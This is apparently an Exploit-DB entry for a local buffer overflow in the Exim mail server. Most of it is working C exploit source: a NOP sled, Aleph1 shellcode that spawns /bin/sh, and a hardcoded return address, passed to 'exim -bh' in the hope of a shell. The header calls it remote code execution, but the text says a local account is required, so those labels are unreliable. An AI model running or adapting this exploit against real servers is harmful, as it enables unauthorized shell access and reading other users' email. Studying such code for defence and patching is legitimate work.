Remote Code Execution Vulnerability in Email Server

vendor:

Email Server

by:

Plugger aka Tony Lockett

7.5

CVSS

HIGH

Remote Code Execution

CWE

Product Name: Email Server

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Remote Code Execution Vulnerability in Email Server

This exploit allows a local user on the server to read other people's emails. The exploit code includes padding with NOPs and uses the Aleph1 shellcode for executing a shell. The exploit requires a local user account on the server.

Mitigation:

To mitigate this vulnerability, ensure that local user accounts on the server are properly secured and monitor for any unauthorized access.

Source

Exploit-DB raw data:

/* 
 * ripped straight off iDEFENSE advisory - so lazy I just picked
 * up GDB... bored on a weeknight :(
 * 
 * nothing to write home to mother about due to the fact that
 * you need a local user account on a server and all you
 * get is to read other people's emails ....
 * 
 * not even my own shellcode. aleph1 shellcode - cut and paste job 
 * with nops to pad.
 *
 * Regards,
 * Plugger aka Tony Lockett
 *
 * 
 * 
 */

char bomb[288]=

/* the gear from iDEFENSE */
"::%A:::::::::::::::::"                             /* 21 bytes  */
                                                    /* --------  */
/* NOPS for padding */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90"                                          /* 218 bytes */
                                                    /* --------- */
/* actual code courtesy Aleph1 */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"  /* 12 bytes  */
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"  /* 12 bytes  */
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"              /* 9 bytes   */
"\xe8\xdc\xff\xff\xff/bin/sh"                       /* 12 bytes  */

/* where EIP should point */
"\xf4\xf2\xff\xbf";                                 /*  4 bytes  */
                                                    /* --------  */
                                                    /* 49 bytes  */
                                                    /* --------  */
                                                    /* 288 bytes */
                                                    /* ========= */
main()
{
  char *exim[4];
  exim[0] = "/usr/exim/bin/exim";
  exim[1] = "-bh";
  exim[2] = bomb;
  exim[3] = 0x0;
  printf("Firing up exim - cross your fingers for shell!\n");
  execve(exim[0],exim,0x0);
  return;
}

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